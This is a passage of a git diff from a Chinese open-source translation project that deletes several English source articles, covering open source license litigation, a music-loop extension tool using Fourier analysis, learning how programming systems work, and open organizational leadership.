"good" or "bad" because of the complex and diverse nature of views on license interpretation across open source project communities. For example, an organization that is generally trusted in the community may be tempted to use test case litigation to promote highly restrictive or literalist interpretations of a license that are out of step with prevailing community views or practices. - -Rather than pursuing open source license enforcement policy through test case litigation, we should first fully explore the use of community-based governance approaches to promote appropriate license interpretations and compliance expectations. This would be especially helpful in signaling that restrictive or illiberal license interpretations, advanced in litigation by parties motivated by private gain, have no basis of support in the larger community that shares that license text. For example, we can document and publicize license interpretations that are widely accepted in the community, expanding on work already done by some license stewards. We can also promote more liberal and modern interpretations of widely used licenses that were drafted in a different technological context, while still upholding their underlying policies, with the aim of making compliance clearer, fairer, and easier. Finally, we should consider adopting more frequent upgrade cycles for popular licenses using public and transparent license-revision processes. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/3/test-cases-open-source-licenses - -作者:[Richard Fontana][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/fontana -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/law_legal_gavel_court.jpg?itok=tc27pzjI (A gavel.) -[2]: https://www.oyez.org/cases/1850-1900/163us537 -[3]: https://meshedinsights.com/2015/12/21/faq-license/ -[4]: https://opensource.com/law/16/11/licenses-are-shared-resources -[5]: https://opensource.com/article/19/2/top-foss-legal-developments -[6]: http://gpl-violations.org/ -[7]: https://en.wikipedia.org/wiki/Free_Software_Foundation,_Inc._v._Cisco_Systems,_Inc. -[8]: https://en.wikipedia.org/wiki/BusyBox#GPL_lawsuits -[9]: https://opensource.com/article/17/8/patrick-mchardy-and-copyright-profiteering -[10]: https://sfconservancy.org/news/2019/apr/02/vmware-no-appeal/ -[11]: https://sfconservancy.org/copyleft-compliance/vmware-lawsuit-faq.html diff --git a/sources/talk/20210312 Extending Looped Music for Fun, Relaxation and Productivity.md b/sources/talk/20210312 Extending Looped Music for Fun, Relaxation and Productivity.md deleted file mode 100644 index adf3038224..0000000000 --- a/sources/talk/20210312 Extending Looped Music for Fun, Relaxation and Productivity.md +++ /dev/null @@ -1,134 +0,0 @@ -[#]: subject: (Extending Looped Music for Fun, Relaxation and Productivity) -[#]: via: (https://theartofmachinery.com/2021/03/12/loopx.html) -[#]: author: (Simon Arneaud https://theartofmachinery.com) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -Extending Looped Music for Fun, Relaxation and Productivity -====== - -Some work (like programming) takes a lot of concentration, and I use noise-cancelling headphones to help me work productively in silence. But for other work (like doing business paperwork), I prefer to have quiet music in the background to help me stay focussed. Quiet background music is good for meditation or dozing, too. If you can’t fall asleep or completely clear your mind, zoning out to some music is the next best thing. - -The best music for that is simple and repetitive — something nice enough to listen too, but not distracting, and okay to tune out of when needed. Computer game music is like that, by design, so there’s plenty of good background music out there. The harder problem is finding samples that play for more than a few minutes. - -So I made [`loopx`][1], a tool that takes a sample of music that loops a few times, and repeats the loop to make a long piece of music. - -When you’re listening to the same music loop for a long time, even slight distortion becomes distracting. Making quality extended music audio out of real-world samples (and doing it fast enough) takes a bit of maths and computer science. About ten years ago I was doing digital signal processing (DSP) programming for industrial metering equipment, so this side project got me digging up some old theory again. - -### The high-level plan - -It would be easy if we could just play the original music sample on repeat. But, in practice, most files we’ll have won’t be perfectly trimmed to the right loop length. Some tracks will also have some kind of intro before the loop, but even if they don’t, they’ll usually have some fade in and out. - -`loopx` needs to analyse the music file to find the music loop data, and then construct a longer version by copying and splicing together pieces of the original. - -By the way, the examples in this post use [Beneath the Rabbit Holes][2] by Jason Lavallee from the soundtrack of the [FOSS platform game SuperTux][3]. I looped it a couple of times and added silence and fade in/out to the ends. - -### Measuring the music loop length (or “period”) - -If you don’t care about performance, estimating the period at which the music repeats itself is pretty straightforward. All you have to do is take two copies of the music side by side, and slide one copy along until you find an offset that makes the two copies match up again. - -![][4] - -Now, if we could guarantee the music data would repeat exactly, there are many super-fast algorithms that could be used to help here (e.g., Rabin-Karp or suffix trees). However, even if we’re looking at computer-generated music, we can’t guarantee the loop will be exact for a variety of reasons like phase distortion (which will come up again later), dithering and sampling rate effects. - -![Converting this greyscale image of a ball in a room to a black/white image demonstrates dithering. Simple thresholding turns the image into regions of solid black and regions of solid white, with all detail lost except near the threshold. Adding random noise before converting fuzzes the threshold, allowing more detail to come through. This example is extreme, but the same idea is behind dithering digital audio when approximating smooth analogue signals.][5] - -By the way, Chris Montgomery (who developed Ogg Vorbis) made [an excellent presentation about the real-world issues (and non-issues) with digital audio][6]. There’s a light-hearted video that’s about 20 minutes and definitely worth watching if you have any interest in this stuff. Before that, he also did [an intro to the technical side of digital media][7] if you want to start from the beginning. - -If exact matching isn’t an option, we need to find a best fit instead, using one of the many vector similarity algorithms. The problem is that any good similarity algorithm will look at all the vector data and be (O(N)) time at best. If we naïvely calculate that at every slide offset, finding the best fit will be (O(N^{2})) time. With over 40k samples for every second of music (multiplied by the number of channels), these vectors are way too big for that approach to be fast enough. - -Thankfully, we can do it in (O(N\log N)) time using the Fourier transform if we choose to use autocorrelation to find the best fit. Autocorrelation means taking the dot product at every offset, and with some normalisation that’s a bit like using cosine similarity. - -![Log energy plot of the autocorrelation of the Beneath the Rabbit Holes sample \(normalised by overlap length\). This represents the closeness of match when the music is compared to a time-shifted version of itself. Naturally, there's a peak at 0 minutes offset, but the next biggest peak is at 2m58.907s, which happens to be exactly the length of the original music loop. The smaller peaks reflect small-scale patterns, such as the music rhythm.][8] - -### The Fourier transform? - -The Fourier transform is pretty famous in some parts of STEM, but not others. It’s used a lot in `loopx`, so here are some quick notes for those in the second group. - -There are a couple of ways to think about and use the Fourier transform. The first is the down-to-earth way: it’s an algorithm that takes a signal and analyses the different frequencies in it. If you take Beethoven’s Symphony No. 9 in D minor, Op 125, Ode to Joy, and put it through a Fourier transform, you’ll get a signal with peaks that correspond to notes in the scale of D minor. The Fourier transform is reversible, so it allows manipulating signals in terms of frequency, too. - -The second way to think of Fourier transforms is stratospherically abstract: the Fourier transform is a mapping between two vector spaces, often called the time domain and the frequency domain. It’s not just individual vectors that have mirror versions in the other domain. Operations on vectors and differential equations over vectors and so on can all be transformed, too. Often the version in one domain is simpler than the version in the other, making the Fourier transform a useful theoretical tool. In this case, it turns out that autocorrelation is very simple in the frequency domain. - -The Fourier transform is used both ways in `loopx`. Because Fourier transforms represent most of the number crunching, `loopx` uses [FFTW][9], a “do one thing really, really well” library for fast Fourier transform implementations. - -### Dealing with phase distortion - -I had some false starts implementing `loopx` because of a practical difference between industrial signal processing and sound engineering: psychoacoustics. Our ears are basically an array of sensors tuned to different frequencies. That’s it. Suppose you play two tones into your ears, with different phases (i.e., they’re shifted in time relatively to each other). You literally can’t hear the difference because there’s no wiring between the ears and the brain carrying that information. - -![][10] - -Sure, if you play several frequencies at once, phase differences can interact in ways that are audible, but phase matters less overall. A sound engineer who has to make a choice between phase distortion and some other kind of distortion will tend to favour phase distortion because it’s less noticeable. Phase distortion is usually simple and consistent, but phase distortion from popular lossy compression standards like MP3 and Ogg Vorbis seems to be more complicated. - -Basically, when you zoom right into the audio data, any algorithmic approach that’s sensitive to the precise timing of features is hopeless. Because audio files are designed for phase-insensitve ears, I had to make my algorithms phase-insensitive too to get any kind of robustness. That’s probably not news to anyone with real audio engineering experience, but it was a bit of an, “Oh,” moment for someone like me coming from metering equipment DSP. - -I ended up using spectrograms a lot. They’re 2D heatmaps in which one axis represents time, and the other axis represents frequency. The example below shows how they make high-level music features much more recognisable, without having to deal with low-level issues like phase. (If you’re curious, you can see [a 7833x192 spectrogram of both channels of the whole track][11].) - -![Spectrogram of the first 15s of Beneath the Rabbit Holes. Time advances to the right. Each vertical strip shows the signal strength by frequency at a given time window, which low notes at the bottom and high ones at the top. The bright strip at the bottom is the bass. The vertical streaks are percussion. The melody starts at about 10s, and appears as dots for notes.][12] - -The Fourier transform does most of the work of getting frequency information out of music, but a bit more is needed to get a useful spectrogram. The Fourier transform works over the whole input, so instead of one transformation, we need to do transformations of overlapping windows running along the input. Each windowed transformation turns into a single frame of the spectrogram after a bit of postprocessing. The Fourier transform uses a linear frequency scale, which isn’t natural for music (every 8th white key on a piano has double the pitch), so frequencies get binned according to a Mel scale (designed to approximate human pitch perception). After that, the total energy for each frequency gets log-transformed (again, to match human perception). [This article describes the steps in detail][13] (ignore the final DCT step). - -### Finding the loop zone - -Remember that the music sample will likely have some intro and outro? Before doing more processing, `loopx` needs to find the section of the music sample that actually loops (what’s called the “loop zone” in the code). It’s easy in principle: scan along the music sample and check if it matches up with the music one period ahead. The loop zone is assumed to be the longest stretch of music that matches (plus the one period at the end). Processing the spectrogram of the music, instead of the raw signal itself, turned out to be more robust. - -![The difference between each spectrogram frame and the one that's a music period after in the Beneath the Rabbit Holes sample. The difference is high at the beginning and end because of the silence and fade in/out. The difference is low in the middle because of the music loop.][14] - -A human can eyeball a plot like the one above and see where the intro and outro are. However, the error thresholds for “match” and “mismatch” vary depending on the sample quality and how accurate the original period estimate are, so finding a reliable computer algorithm is more complicated. There are statistical techniques for solving this problem (like Otsu’s method), but `loopx` just exploits the assumption that a loop zone exists, and figures out thresholds based on low-error sections of the plot. A variant of Schmitt triggering is used to get a good separation between the loop zone and the rest. - -### Refining the period estimate - -Autocorrelation is pretty good for estimating the period length, but a long intro or outro can pull the estimate either way. Knowing the loop zone lets us refine the estimate: any recognisable feature (like a chord change or drum beat) inside the loop zone will repeat one period before or after. If we find a pair of distinctive features, we can measure the difference to get an accurate estimate of the period. - -`loopx` finds the strongest features in the music using a novelty curve — which is just the difference between one spectrogram frame and the next. Any change (a beat, a note, a change of key) will cause a spike in this curve, and the biggest spikes are taken as points of interest. Instead of trying to find the exact position of music features (which would be fragile), `loopx` just takes the region around a point of interest and its period-shifted pair, and uses cross-correlation to find the shift that makes them best match (just like the autocorrelation, but between two signals). For robustness, shifts are calculated for a bunch of points and the median is used to correct the period. The median is better than the average because each single-point correction estimate is either highly accurate alone or way off because something went wrong. - -### Extending the music - -The loop zone has the useful property that jumping back or forward a multiple of the music period keeps the music playing uninterrupted, as long as playback stays within the loop zone. This is the essence of how `loopx` extends music. To make a long output, `loopx` copies music data from the beginning until it hits the end of the loop zone. Then it jumps back as many periods as it can (staying inside the loop zone) and keeps repeating copies like that until it has output enough data. Then it just keeps copying to the end. - -That sounds simple, but if you’ve ever tried it you’ll know there’s one more problem. Most music is made of smooth waves. If you just cut music up in arbitrary places and concatenate the pieces together, you get big jumps in the wave signal that turn into jarring popping sounds when played back as an analogue signal. When I’ve done this by hand, I’ve tried to minimise this distortion by making the curve as continuous as possible. For example, I might find a place in the first fragment of audio where the signal crosses the zero line going down, and I’ll try to match it up with a place in the second fragment that’s also crossing zero going down. That avoids a loud pop, but it’s not perfect. - -An alternative that’s actually easier to implement in code is a minimum-error match. Suppose you’re splicing signal A to signal B, and you want to evaluate how good the splice is. You can take some signal near the splice point and compare it to what the signal would have been if signal A had kept playing. Simply substracting and summing the squares gives a reasonable measure of quality. I also tried filtering the errors before squaring and summing because distortion below 20Hz and above 20kHz isn’t as bad as distortion inside normal human hearing range. This approach improved the splices a lot, but it wasn’t reliable at making them seamless. I don’t have super hearing ability, but the splices got jarring when listening to a long track with headphones in a quiet room. - -Once again, the spectral approach was more robust. Calculating the spectrum around the splice and comparing it to the spectrum around the original signal is a useful way to measure splice quality. The pop sound of a broken audio signal appears as an obvious burst of noise across most of the spectrum. Even better, because the spectrum is designed to reflect human hearing, it also catches any other annoying effects, like a blip caused by a bad splice right on the edge of a drum beat. Anything that’s obvious to a human will be obvious in the spectrogram. - -![Examples of how splicing affects the local music spectrum. The signal plots on the left show the splice point and a few hundred audio samples either side. The spectra on the right are calculated from a few thousand samples either side of the splice point. The centre row shows the original, unspliced signal and its spectrum. The spectrum of the bad splice is flooded with noise and is obviously different from the original spectrum. The spectrum of the improved splice looks much more like the original. The audio signal already looks reasonably smooth in the time domain, but loopx is able to find even better splices by looking at the spectra.][15] - -There are multiple splice points that need to be made seamless. The simple approach to optimising them is a greedy one: just process each splice point in order and take the best splice found locally. However, `loopx` also tries to maintain the music loop length as best as possible, which means each splice point will depend on the splicing decisions made earlier. That means later splices can be forced to be worse because of overeager decisions made earlier. - -Now, I admit this might be getting into anal retentive territory, but I wasn’t totally happy with about %5 of the tracks I tested, and I wanted a tool that could reliably make music better than my hearing (assuming quality input data). So I switched to optimising the splices using Dijkstra’s algorithm. Normally Dijkstra is thought of as an algorithm for figuring out the shortest path from start to finish using available path segments. In this case, I’m finding the least distortion series of copies to get from an empty output audio file to one that’s the target length, using spliced segments of the input file. Abstractly, it’s the same problem. I also calculate cost a little differently. In normal path finding, the path cost is the sum of the segment costs. However, total distortion isn’t the best measure for `loopx`. I don’t care if Dijkstra’s algorithm can make an almost-perfect splice perfect if it means making an annoying splice worse. So, `loopx` finds the copy plan with the least worst-case distortion level. That’s no problem because Dijkstra’s algorithm works just as well finding min-max as it does finding min-sum (abstractly, it just needs paths to be evaluated in a way that’s a total ordering and never improves when another segment is added). - -### Enjoying the music - -It’s rare for any of my hobby programming projects to actually be useful at all to my everyday life away from computers, but I’ve already found multiple uses for background music generated by `loopx`. As usual, [the full source is available on GitLab][1]. - --------------------------------------------------------------------------------- - -via: https://theartofmachinery.com/2021/03/12/loopx.html - -作者:[Simon Arneaud][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://theartofmachinery.com -[b]: https://github.com/lujun9972 -[1]: https://gitlab.com/sarneaud/loopx -[2]: https://github.com/SuperTux/supertux/blob/56efa801a59e7e32064b759145e296a2d3c11e44/data/music/forest/beneath_the_rabbit_hole.ogg -[3]: https://github.com/SuperTux/supertux -[4]: https://theartofmachinery.com/images/loopx/shifted.jpg -[5]: https://theartofmachinery.com/images/loopx/dither_demo.png -[6]: https://wiki.xiph.org/Videos/Digital_Show_and_Tell -[7]: https://wiki.xiph.org/Videos/A_Digital_Media_Primer_For_Geeks -[8]: https://theartofmachinery.com/images/loopx/autocorrelation.jpg -[9]: http://www.fftw.org/ -[10]: https://theartofmachinery.com/images/loopx/phase_shift.svg -[11]: https://theartofmachinery.com/images/loopx/spectrogram.png -[12]: https://theartofmachinery.com/images/loopx/spectrogram_intro.png -[13]: https://www.practicalcryptography.com/miscellaneous/machine-learning/guide-mel-frequency-cepstral-coefficients-mfccs/ -[14]: https://theartofmachinery.com/images/loopx/loop_zone_errors.png -[15]: https://theartofmachinery.com/images/loopx/splice.png diff --git a/sources/talk/20210324 Get better at programming by learning how things work.md b/sources/talk/20210324 Get better at programming by learning how things work.md deleted file mode 100644 index af527b70d1..0000000000 --- a/sources/talk/20210324 Get better at programming by learning how things work.md +++ /dev/null @@ -1,222 +0,0 @@ -[#]: subject: (Get better at programming by learning how things work) -[#]: via: (https://jvns.ca/blog/learn-how-things-work/) -[#]: author: (Julia Evans https://jvns.ca/) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -Get better at programming by learning how things work -====== - -When we talk about getting better at programming, we often talk about testing, writing reusable code, design patterns, and readability. - -All of those things are important. But in this blog post, I want to talk about a different way to get better at programming: learning how the systems you’re using work! This is the main way I approach getting better at programming. - -### examples of “how things work” - -To explain what I mean by “how things work”, here are some different types of programming and examples of what you could learn about how they work. - -Frontend JS: - - * how the event loop works - * HTTP methods like GET and POST - * what the DOM is and what you can do with it - * the same-origin policy and CORS - - - -CSS: - - * how inline elements are rendered differently from block elements - * what the “default flow” is - * how flexbox works - * how CSS decides which selector to apply to which element (the “cascading” part of the cascading style sheets) - - - -Systems programming: - - * the difference between the stack and the heap - * how virtual memory works - * how numbers are represented in binary - * what a symbol table is - * how code from external libraries gets loaded (e.g. dynamic/static linking) - * Atomic instructions and how they’re different from mutexes - - - -### you can use something without understanding how it works (and that can be ok!) - -We work with a LOT of different systems, and it’s unreasonable to expect that every single person understands everything about all of them. For example, many people write programs that send email, and most of those people probably don’t understand everything about how email works. Email is really complicated! That’s why we have abstractions. - -But if you’re working with something (like CSS, or HTTP, or goroutines, or email) more seriously and you don’t really understand how it works, sometimes you’ll start to run into problems. - -### your bugs will tell you when you need to improve your mental model - -When I’m programming and I’m missing a key concept about how something works, it doesn’t always show up in an obvious way. What will happen is: - - * I’ll have bugs in my programs because of an incorrect mental model - * I’ll struggle to fix those bugs quickly and I won’t be able to find the right questions to ask to diagnose them - * I feel really frustrated - - - -I think it’s actually an important skill **just to be able to recognize that this is happening**: I’ve slowly learned to recognize the feeling of “wait, I’m really confused, I think there’s something I don’t understand about how this system works, what is it?” - -Being a senior developer is less about knowing absolutely everything and more about quickly being able to recognize when you **don’t** know something and learn it. Speaking of being a senior developer… - -### even senior developers need to learn how their systems work - -So far I’ve never stopped learning how things work, because there are so many different types of systems we work with! - -For example, I know a lot of the fundamentals of how C programs work and web programming (like the examples at the top of this post), but when it comes to graphics programming/OpenGL/GPUs, I know very few of the fundamental ideas. And sometimes I’ll discover a new fact that I’m missing about a system I thought I knew, like last year I [discovered][1] that I was missing a LOT of information about how CSS works. - -It can feel bad to realise that you really don’t understand how a system you’ve been using works when you have 10 years of experience (“ugh, shouldn’t I know this already? I’ve been using this for so long!“), but it’s normal! There’s a lot to know about computers and we are constantly inventing new things to know, so nobody can keep up with every single thing. - -### how I go from “I’m confused” to “ok, I get it!” - -When I notice I’m confused, I like to approach it like this: - - 1. Notice I’m confused about a topic (“hey, when I write `await` in my Javascript program, what is actually happening?“) - 2. Break down my confusion into specific factual questions, like “when there’s an `await` and it’s waiting, how does it decide which part of my code runs next? Where is that information stored?” - 3. Find out the answers to those questions (by writing a program, reading something on the internet, or asking someone) - 4. Test my understanding by writing a program (“hey, that’s why I was having that async bug! And I can fix it like this!“) - - - -The last “test my understanding” step is really important. The whole point of understanding how computers work is to actually write code to make them do things! - -I find that if I can use my newfound understanding to do something concrete like implement a new feature or fix a bug or even just write a test program that demonstrates how the thing works, it feels a LOT more real than if I just read about it. And then it’s much more likely that I’ll be able to use it in practice later. - -### just learning a few facts can help a lot - -Learning how things work doesn’t need to be a big huge thing. For example, I used to not really know how floating point numbers worked, and I felt nervous that something weird would happen that I didn’t understand. - -And then one day in 2013 I went to a talk by Stefan Karpinski explaining how floating point numbers worked (containing roughly the information in [this comic][2], but with more weird details). And now I feel totally confident using floating point numbers! I know what their basic limitations are, and when not to use them (to represent integers larger than 2^53). And I know what I _don’t_ know – I know it’s hard to write numerically stable linear algebra algorithms and I have no idea how to do that. - -### connect new facts to information you already know - -When learning a new fact, it’s easy to be able to recite a sentence like “ok, there are 8 bits in a byte”. That’s true, but so what? What’s harder (and much more useful!) is to be able to connect that information to what you already know about programming. - -For example, let’s take this “8 bits in a byte thing”. In your program you probably have strings, like “Hello”. You can already start asking lots of questions about this, like: - - * How many bytes in memory are used to represent the string “Hello”? (it’s 5!) - * What bits exactly does the letter “H” correspond to? (the encoding for “Hello” is going to be using ASCII, so you can look it up in an ASCII table!) - * If you have a running program that’s printing out the string “Hello”, can you go look at its memory and find out where those bytes are in its memory? How do you do that? - - - -The important thing here is to ask the questions and explore the connections that **you’re** curious about – maybe you’re not so interested in how the strings are represented in memory, but you really want to know how many bytes a heart emoji is in Unicode! Or maybe you want to learn about how floating point numbers work! - -I find that when I connect new facts to things I’m already familiar with (like emoji or floating point numbers or strings), then the information sticks a lot better. - -Next up, I want to talk about 2 ways to get information: asking a person yes/no questions, and asking the computer. - -### how to get information: ask yes/no questions - -When I’m talking to someone who knows more about the concept than me, I find it helps to start by asking really simple questions, where the answer is just “yes” or “no”. I’ve written about yes/no questions before in [how to ask good questions][3], but I love it a lot so let’s talk about it again! - -I do this because it forces me to articulate exactly what my current mental model _is_, and because I think yes/no questions are often easier for the person I’m asking to answer. - -For example, here are some different types of questions: - - * Check if your current understanding is correct - * Example: “Is a pixel shader the same thing as a fragment shader?” - * How concepts you’ve heard of are related to each other - * Example: “Does shadertoy use OpenGL?” - * Example: “Do graphics cards know about triangles?” - * High-level questions about what the main purpose of something is - * Example: “Does mysql orchestrator proxy database queries?” - * Example: “Does OpenGL give you more control or less control over the graphics card than Vulkan?” - - - -### yes/no questions put you in control - -When I ask very open-ended questions like “how does X work?”, I find that it often goes wrong in one of 2 ways: - - 1. The person starts telling me a bunch of things that I already knew - 2. The person starts telling me a bunch of things that I don’t know, but which aren’t really what I was interested in understanding - - - -Both of these are frustrating, but of course neither of these things are their fault! They can’t know exactly what informatoin I wanted about X, because I didn’t tell them. But it still always feels bad to have to interrupt someone with “oh no, sorry, that’s not what I wanted to know at all!” - -I love yes/no questions because, even though they’re harder to formulate, I’m WAY more likely to get the exact answers I want and less likely to waste the time of the person I’m asking by having them explain a bunch of things that I’m not interested in. - -### asking yes/no questions isn’t always easy - -When I’m asking someone questions to try to learn about something new, sometimes this happens: - -**me:** so, just to check my understanding, it works like this, right? -**them:** actually, no, it’s <completely different thing> -**me (internally)**: (brief moment of panic) -**me:** ok, let me think for a minute about my next question - -It never quite feels _good_ to learn that my mental model was totally wrong, even though it’s incredibly helpful information. Asking this kind of really specific question (even though it’s more effective!) puts you in a more vulnerable position than asking a broader question, because sometimes you have to reveal specific things that you were totally wrong about! - -When this happens, I like to just say that I’m going to take a minute to incorporate the new fact into my mental model and think about my next question. - -Okay, that’s the end of this digression into my love for yes/no questions :) - -### how to get information: ask the computer - -Sometimes when I’m trying to answer a question I have, there won’t be anybody to ask, and I’ll Google it or search the documentation and won’t find anything. - -But the delightful thing about computers is that you can often get answers to questions about computers by… asking your computer! - -Here are a few examples (from past blog posts) of questions I’ve had and computer experiments I ran to answer them for myself: - - * Are atomics faster or slower than mutexes? (blog post: [trying out mutexes and atomics][4]) - * If I add a user to a group, will existing processes running as that user have the new group? (blog post: [How do groups work on Linux?][5]) - * On Linux, if you have a server listening on 0.0.0.0 but you don’t have any network interfaces, can you connect to that server? (blog post: [what’s a network interface?][6]) - * How is the data in a SQLite database actually organized on disk? (blog post: [How does SQLite work? Part 1: pages!][7]) - - - -### asking the computer is a skill - -It definitely takes time to learn how to turn “I’m confused about X” into specific questions, and then to turn that question into an experiment you can run on your computer to definitively answer it. - -But it’s a really powerful tool to have! If you’re not limited to just the things that you can Google / what’s in the documentation / what the people around you know, then you can do a LOT more. - -### be aware of what you still don’t understand - -Like I said earlier, the point here isn’t to understand every single thing. But especially as you get more senior, it’s important to be aware of what you don’t know! For example, here are five things I don’t know (out of a VERY large list): - - * How database transactions / isolation levels work - * How vertex shaders work (in graphics) - * How font rendering works - * How BGP / peering work - * How multiple inheritance works in Python - - - -And I don’t really need to know how those things work right now! But one day I’m pretty sure I’m going to need to know how database transactions work, and I know it’s something I can learn when that day comes :) - -Someone who read this post asked me “how do you figure out what you don’t know?” and I didn’t have a good answer, so I’d love to hear your thoughts! - -Thanks to Haider Al-Mosawi, Ivan Savov, Jake Donham, John Hergenroeder, Kamal Marhubi, Matthew Parker, Matthieu Cneude, Ori Bernstein, Peter Lyons, Sebastian Gutierrez, Shae Matijs Erisson, Vaibhav Sagar, and Zell Liew for reading a draft of this. - --------------------------------------------------------------------------------- - -via: https://jvns.ca/blog/learn-how-things-work/ - -作者:[Julia Evans][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://jvns.ca/ -[b]: https://github.com/lujun9972 -[1]: https://jvns.ca/blog/debugging-attitude-matters/ -[2]: https://wizardzines.com/comics/floating-point/ -[3]: https://jvns.ca/blog/good-questions/ -[4]: https://jvns.ca/blog/2014/12/14/fun-with-threads/ -[5]: https://jvns.ca/blog/2017/11/20/groups/ -[6]: https://jvns.ca/blog/2017/09/03/network-interfaces/ -[7]: https://jvns.ca/blog/2014/09/27/how-does-sqlite-work-part-1-pages/ diff --git a/sources/talk/20210325 Elevating open leaders by getting out of their way.md b/sources/talk/20210325 Elevating open leaders by getting out of their way.md deleted file mode 100644 index d7f78221da..0000000000 --- a/sources/talk/20210325 Elevating open leaders by getting out of their way.md +++ /dev/null @@ -1,80 +0,0 @@ -[#]: subject: (Elevating open leaders by getting out of their way) -[#]: via: (https://opensource.com/open-organization/21/3/open-spaces-leadership-talent) -[#]: author: (Jos Groen https://opensource.com/users/jos-groen) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -Elevating open leaders by getting out of their way -====== -Your organization's leaders likely know the most effective and -innovative path forward. Are you giving them the space they need to get -you there? -![Leaders are catalysts][1] - -Today, we're seeing the rapid rise of agile organizations capable of quickly and effectively adapting to market new ideas with large-scale impacts. These companies tend to have something in common: they have a clear core direction and young, energetic leaders—leaders who encourage their talented employees to develop their potential. - -The way these organizations apply open principles to developing their internal talent—that is, how they facilitate and encourage talented employees to develop and advance in all layers of the organization—is a critical component of their sustainability and success. The organizations have achieved an important kind of "flow," through which talented employees can easily shift to the places in the organization where they can add the most value based on their talents, skills, and [intrinsic motivators.][2] Flow ensures fresh ideas and new impulses. After all, the best idea can originate anywhere in the organization—no matter where a particular employee may be located. - -In this new series, I'll explore various dimensions of this open approach to organizational talent management. In this article, I explicitly focus on employees who demonstrate leadership talent. After all, we need leaders to create contexts based on open principles, leaders able to balance people and business in their organization. - -### The elements of success - -I see five crucial elements that determine the success of businesses today: - - 1. Talented leaders are engaged and empowered—given the space to develop, grow, and build experience under the guidance of mentors (leaders) in a safe environment. They can fail fast and learn fast. - 2. Their organizations know how to quickly and decisively convert new ideas into valuable products, services, or solutions. - 3. The dynamic between "top" and "bottom" managers and leaders in the organization is one of balance. - 4. People are willing to let go of deeply held beliefs, processes, and behaviors. It's brave to work openly. - 5. The organization has a clear core direction and strong identity based on the open principles. - - - -All these elements of success are connected to employees' creativity and ingenuity. - -### Open and safe working environment - -Companies that traditionally base their services, governance, and strategic execution on hierarchy and the authority embedded in their systems, processes, and management structure rarely leave room for this kind of open talent development. In these systems, good ideas too often get "stuck" in bureaucracies, and authority to lead is primarily [based on tenure and seniority][3], not on talent. Moreover, traditionally minded board members and management don't always have an adequate eye for management talent. So there is the first challenge! We need leaders who can have a primary eye on leadership talent. The first step to balance management and leadership at the top. Empowering the most talented and passionate—rather than the more senior—makes them uncomfortable. So leaders with potentially innovative ideas rarely get invited to participate in the "inner circle." - -Fortunately, I see these organizations beginning to realize that they need to get moving before they lose their competitive edge. - -The truth is that there is no "right" or "wrong" choice for organizing a business. The choices an organization makes are simply the choices that determine their overall speed, strength, and agility. - -They're beginning to understand that they need to provide talented employees with [safe spaces for experimentation][4]—an open and safe work environment, one in which employees can experiment with new ideas, learn from their mistakes, and [find that place][5] in the organization [where they thrive][6]. - -But the truth is that there is no "right" or "wrong" choice for organizing a business. The choices an organization makes are simply the choices that determine their overall speed, strength, and agility. And more frequently, organizations are choosing open approaches to building their cultures and processes, because their talent thrives better in environments based on transparency and trust. Employees in these organizations have more perspective and are actively involved in the design and development of the organization itself. They keep their eyes and ears "open" for new ideas and approaches—so the organization benefits from empowering them. - -### Hybrid thinking - -As [I've said before][7]: the transition from a conventional organization to a more open one is never a guaranteed success. During this transformation, you'll encounter periods in which traditional and open practices operate side by side, even mixed and shuffled. These are an organization's _hybrid_ phase. - -When your organization enters this hybrid phase, it needs to begin thinking about changing its approach to talent management. In addition to its _individual_ transformation, it will need to balance the needs and perspectives of senior managers and leaders alongside _other_ management layers, which are beginning to shift. In short, it must establish a new vision and strategy for the development of leadership talent. - -The starting point here is to create a safe and stimulating environment where mentors and coaches support these future leaders in their growth. During this hybrid period, you will be searching for the balance between passion and performance in the organization—which means you'll need to let go of deeply rooted beliefs, processes, and behaviors. In my opinion, this means focusing on the _human_ elements present in your organization, its leadership, and its flows of talent, without losing sight of organizational performance. This "letting go" doesn't happen quickly or immediately, like pressing a button, nor is it one that you can entirely influence. But it is an exciting and comprehensive journey that you and your organization will embark on. - -And that journey begins with you. Are you ready for it? - -Resolved to be a more open leader in 2016? Start by reading these books. - --------------------------------------------------------------------------------- - -via: https://opensource.com/open-organization/21/3/open-spaces-leadership-talent - -作者:[Jos Groen][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/jos-groen -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/leaderscatalysts.jpg?itok=f8CwHiKm (Leaders are catalysts) -[2]: https://opensource.com/open-organization/18/5/rethink-motivation-engagement -[3]: https://opensource.com/open-organization/16/8/how-make-meritocracy-work -[4]: https://opensource.com/open-organization/19/3/introduction-psychological-safety -[5]: https://opensource.com/open-organization/17/9/own-your-open-career -[6]: https://opensource.com/open-organization/17/12/drive-open-career-forward -[7]: https://opensource.com/open-organization/20/6/organization-everyone-deserves diff --git a/sources/talk/20210405 What motivates open source software contributors.md b/sources/talk/20210405 What motivates open source software contributors.md deleted file mode 100644 index c8f8dd148c..0000000000 --- a/sources/talk/20210405 What motivates open source software contributors.md +++ /dev/null @@ -1,93 +0,0 @@ -[#]: subject: (What motivates open source software contributors?) 